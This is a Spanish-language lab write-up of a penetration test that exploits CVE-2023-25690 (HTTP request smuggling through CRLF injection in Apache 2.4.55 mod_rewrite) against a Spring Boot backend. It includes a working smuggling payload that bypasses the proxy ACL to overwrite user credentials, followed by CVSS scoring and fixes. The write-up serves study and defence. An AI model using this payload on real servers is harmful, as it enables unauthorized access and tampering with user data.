
Laboratorio de contrabando de peticiones HTTP: Apache 2.4.55 inyección CRLF
| Componente | Rol | Versión |
|---|
| Apache HTTP Server | Reverse Proxy | 2.4.55 (vulnerable) |
| Spring Boot (Tomcat embebido) | Backend API | 4.x (Java 21) |
| SQLite | Base de datos | — |
Usuario ──► Apache :80 (Proxy) ──► Spring Boot :8080 (Backend) ──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690: CRLF no sanitizados
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL: <Location "/admin"> bloqueado
POST /public/register: permite el registro de usuarios en la base de datos
POST /public/login: permite el inicio de sesión mediante la verificación de las credenciales introducidas y emite un token de sesión
GET /public/dashboard: área reservada de los usuarios
GET /api/status: acepta el parámetro "name", es un endpoint de ejemplo para la verificación del estado de los servicios
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass}: es una ruta teóricamente inaccesible al público que permite a los administradores modificar los datos de los usuarios
Durante la actividad de penetration testing se identificó una vulnerabilidad crítica en la infraestructura de reverse proxy que expone el backend Spring Boot. El proxy Apache HTTP Server versión 2.4.55 está afectado por la vulnerabilidad CVE-2023-25690 (HTTP Request Smuggling), que permite a un atacante eludir los filtros de seguridad impuestos en el proxy y alcanzar directamente endpoints administrativos internos no protegidos.
El ataque aprovecha la ausencia de sanitización de los caracteres de control (CRLF) en las RewriteRule de Apache, permitiendo la inyección de una segunda petición HTTP entre los parámetros de una petición legítima hacia el backend. La prueba de concepto demostró la modificación no autorizada de las credenciales de usuario en la base de datos a través del endpoint /admin/edit/{id}/{newName}/{newPass}, teóricamente protegido por las ACL del proxy.
Recomendaciones: Actualizar inmediatamente Apache HTTP Server a la versión ≥ 2.4.56, reforzar los filtros de seguridad en el proxy e implementar una capa de seguridad en el backend (Spring Security) para todos los endpoints sensibles.
Identificación de la versión de Apache mediante el análisis de los headers HTTP de la respuesta.
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
Resultado: El header del servidor revela Apache/2.4.55. Consulta de la base de datos de CVEs → correspondencia con CVE-2023-25690.
Según la CVE, en esta versión de Apache, si existe una RewriteRule que copia en la URL de destino del backend caracteres genéricos provenientes de la petición al proxy, el texto transcrito no se sanitiza, por lo que también pasan caracteres de control (como los retornos de carro).
Por ejemplo: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // la P indica modo proxy
Por lo tanto, ahora nuestro objetivo es descubrir un posible endpoint que realice esta transcripción a nivel de proxy.
Del análisis de las respuestas y del comportamiento de la aplicación se observa que la sesión se gestiona mediante JSESSIONID, lo que confirma el uso de un Servlet Container Java (como Apache Tomcat, Jetty o WildFly). Además, la petición a endpoints inexistentes devuelve una "Whitelabel Error Page", lo que indica que en el backend hay Spring Boot.
Mediante un script bash para la automatización del fuzzing con diccionario se mapearon los endpoints expuestos en la red (presumiblemente todos).
Resultado:
| Endpoint | Código HTTP | Método | Parámetros |
|---|---|---|---|
| admin | 403 | GET | (sin parámetros) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (sin parámetros) |
| public/logout | 200 | GET | (sin parámetros) |
| api/status | 200 | GET | (sin parámetros) |
| service/* | 200 | GET | (sin parámetros) |
Dado que
devuelven ambas la misma respuesta, se entiende que apuntan al mismo endpoint del backend. Además, dado que peticiones como /service/x/y/z (que muy probablemente no existen) no devuelven 404, se puede deducir que el endpoint original acepta un parámetro y no una path variable. Por lo tanto, en conclusión, se puede deducir que las peticiones a /service/<servicio> se traducen mediante una RewriteRule hacia el backend Spring Boot (justo lo que buscábamos). Ahora hay que determinar si esta RewriteRule es dummy, es decir, si usa una regex tipo .* o si está bien estructurada.
Intento insertar caracteres de control en la petición para dividir el contenido legítimo del oculto:
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... El servicio 'x' está operativo y estable.
He insertado un parámetro personalizado para verificar que los CRLF se interpretan correctamente.
trash_header tiene la función de encapsular los headers que Apache insertará en la petición al backend (de este modo se interpretarán como simple texto de X-Header y no tendrán valor a efectos de la petición HTTP).
Con tcpdump en el contenedor del backend pude interceptar la petición HTTP proveniente de Apache:
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
El backend ve esta petición:
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
"Los caracteres de control han controlado"
La respuesta me indica que la parte con los caracteres de control ha pasado sin problemas como estructura de la propia petición HTTP y no simplemente como parámetro (ya que el nombre interceptado por el backend es solo 'x'). Por lo tanto, hemos impuesto el formato de la petición HTTP hacia el backend y el proxy lo ha aceptado; esto abre el camino al payload real para el smuggling.
| Endpoint | Método | Acceso | Notas |
|---|---|---|---|
/public/register | POST | Público | Registro de usuario |
/public/login | POST | Público | Login, emite JSESSIONID |
/public/dashboard | GET | Autenticado | Área reservada |
/public/logout | GET | Público | Destruye la sesión |
/api/status?name= | GET | Público | Health check |
/service/{param} | GET | Público | Gateway vulnerable ($1 en query string) |
/admin/edit/{id}/{n}/{p} | POST | Protegido (ACL) | Modificación de credenciales de usuario |
/admin/ | * | Bloqueado (403) | ACL de Apache |
Forzar al reverse proxy Apache a reenviar dos peticiones distintas al backend Spring Boot, consiguiendo que la segunda petición alcance el endpoint /admin/edit/ eludiendo el filtro ACL de Apache.
En esta fase, imagínese que localhost y spring-backend son respectivamente las direcciones públicas del proxy y del servidor. En el caso de que proxy y backend estén en la misma red (u organización), spring-backend será una IP privada (que desgraciadamente resultaría difícil de conocer).
La vulnerabilidad reside en la RewriteRule:
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
El proxy captura la entrada del usuario en $1 y la inserta en la query string sin sanitizar los caracteres de control (%20, %0d%0a). El backend (Tomcat) interpreta estos caracteres como terminación de la URL e inicio de una nueva petición HTTP en el mismo socket TCP.
A) GET /service/x → Parte legítima; todo lo que viene después de /service/
termina en $1 (parámetro name)
B) %20HTTP/1.1 → [Splitting Point] Espacio que cierra
prematuramente la URL en el backend
C) %0d%0aHost:...%0d%0a%0d%0a → [Header Injection] CRLF para terminar
la primera petición
D) POST /admin/edit/1/HACKED/PWNED → [Smuggled Request] Petición
maliciosa oculta hacia el endpoint admin
E) %20HTTP/1.1 → Versión HTTP para la segunda petición
F) %0d%0aContent-Length:%200 → Cuerpo vacío para la POST
%0d%0aConnection:%20close
%0d%0aX-Header:%20 → [Header Sink] Absorbe headers añadidos
automáticamente por Apache
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost
Lo que Apache ve (una sola petición):
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost
Lo que el backend recibe (dos peticiones en el mismo socket):
--- Petición 1 (legítima, pero "mutilada") ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend
--- Petición 2 (smuggled) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:
>> ... HTTP/1.1 200 ... El servicio 'x' está operativo y estable.
El usuario con ID 1 ha sido renombrado a HACKED con contraseña PWNED — elusión total de las ACL del proxy.
Acceso directo a la base de datos para confirmación:
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"
1|HACKED|PWNED
| ID | Descripción |
|---|---|
| CVE-2023-25690 | Apache HTTP Server HTTP Request Smuggling mediante mod_proxy con RewriteRule/ProxyPassMatch |
| CWE-444 | Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') |
| CWE-113 | Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') |
| Métrica | Valor | Descripción |
|---|---|---|
| Attack Vector (AV) | N (Network) | Accesible desde red remota |
| Attack Complexity (AC) | L (Low) | Sin condiciones especiales |
| Privileges Required (PR) | N (None) | Sin autenticación requerida |
| User Interaction (UI) | N (None) | No requiere interacción de la víctima |
| Scope (S) | C (Changed) | El componente vulnerable es distinto del afectado |
| Confidentiality (C) | H (High) | Acceso a endpoints reservados |
| Integrity (I) | H (High) | Modificación de datos de usuario en la base de datos |
| Availability (A) | H (High) | Posible cache poisoning del proxy / Contaminación de sockets |
Base Score: 10.0 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| Métrica | Valor | Descripción |
|---|---|---|
| Exploit Code Maturity (E) | F (Functional exploit exists) | Exploit funcional |
| Remediation Level (RL) | O (Official Fix) | En versiones posteriores de Apache, el bug ha sido corregido |
| Report Confidence (RC) | C (Confirmed) | Vulnerabilidad confirmada y documentada |
Temporal Score: 9.3 (HIGH)
| Métrica | Valor | Descripción |
|---|---|---|
| Attack Vector (MAV) | N (Network) | Proxy expuesto en internet |
| Attack Complexity (MAC) | H (High) | Requiere conocimiento de la estructura de endpoints internos |
| Privileges Required (MPR) | L (Low) | No se necesitan privilegios de ningún tipo |
| User Interaction (MUI) | N (None) | No se requiere interacción de usuarios externos |
| Scope (MS) | C (Changed) | Se viola un sistema a través de otro |
| Impact Metrics (MC/MI/MA) | H/H/H | Daño máximo (modificación de datos en la base de datos) |
| CIA Requirements (CR/IR/AR) | H/H/H | Sistema crítico (login de usuarios) |
Environmental Score: 8.0 (HIGH)
Vector String: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H
Overall Score: 8.0 — HIGH
Actualizar Apache HTTP Server a la versión ≥ 2.4.56, donde la sanitización de los caracteres de control en las RewriteRule con flag [P] está forzada a nivel del núcleo del servidor.
| Versión actual | Versión objetivo | Fix |
|---|---|---|
| 2.4.55 | 2.4.56+ | Sanitización automática de CRLF en mod_proxy |
Añadir spring-boot-starter-security al pom.xml:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
Configurar un SecurityFilterChain que proteja los endpoints administrativos:
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/public/**").permitAll()
.requestMatchers("/api/**").permitAll()
.requestMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
)
.httpBasic(Customizer.withDefaults())
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
return http.build();
}
}
Añadir controles sobre todos los parámetros aceptados por los endpoints (query string, path variables, form data):
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
@PathVariable Long id,
@PathVariable @NotBlank String newName,
@PathVariable @NotBlank String newPass,
HttpSession session) {
// Verifica que el usuario tenga rol ADMIN
User loggedUser = (User) session.getAttribute("LOGGED_USER");
if (loggedUser == null || !loggedUser.hasAdminRole()) {
return "Acceso denegado";
}
// ... operación permitida solo tras la comprobación de autenticación
}